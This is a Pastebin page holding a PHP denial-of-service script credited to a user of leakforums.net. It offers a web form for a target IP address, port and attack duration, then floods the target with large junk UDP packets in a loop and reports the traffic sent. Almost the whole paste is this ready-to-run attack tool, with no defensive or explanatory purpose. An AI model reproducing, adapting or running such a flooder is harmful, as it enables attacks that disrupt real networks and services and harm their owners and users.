Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // <--> Bastian by leakforums.net
- set_time_limit(0);
- ignore_user_abort(false);
- echo '<h2>//PHP\\ DoS Script by Bastian</h2>';
- if (!function_exists('fsockopen')):
- die('The Function "fsockopen" couldn't be found! (PHP v'.phpversion().')');
- endif;
- if (isset($_POST['startdos'])):
- $duration = intval(trim($_POST['time']));
- $target = trim($_POST['target']);
- $port = intval(trim($_POST['port']));
- if (!empty($duration) && !empty($target) && !empty($port)):
- $limit = time() + $duration;
- $payload = '';
- $packets = 0;
- for ($i=0; $i < 65535; $i++): $payload .= "X"; endfor;
- while (1):
- $packets++;
- if (time() > $limit): break; endif;
- $socks = @fsockopen('udp://'.$target, $port, $errno, $errstr, 5);
- if ($socks):
- @fwrite($socks, $payload);
- @fclose($socks);
- endif;
- endwhile;
- echo '<b style="color:#0B6121">The DoS Attack was succefully executed!</b><br />';
- echo $packets.' Packets ('.round(($packets*65)/1024, 2).' MB) with '.round($packets/$duration, 2).' Inquire per seconds';
- else: echo '<p><b>Error:</b> Please fill in everything!</p>';
- endif;
- else:
- echo '<form action="" method="post" style="margin:20px">';
- echo '<input type="text" name="target" placeholder="IP-Adress" style="width:120px; display:block; margin:0 0 10px 0; padding:5px" />';
- echo '<input type="text" name="port" placeholder="opened Port" maxlength="5" style="width:100px; display:block; margin:0 0 10px 0; padding:5px" />';
- echo '<input type="text" name="time" placeholder="DoS Attack Time (in seconds)" style="width:150px; display:block; padding:5px" />';
- echo '<input type="submit" name="startdos" value="Start the DoS Attack" style="margin:10px 0 0 0; background:#fff; border:1px solid #999" />';
- echo '</form>';
- endif;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement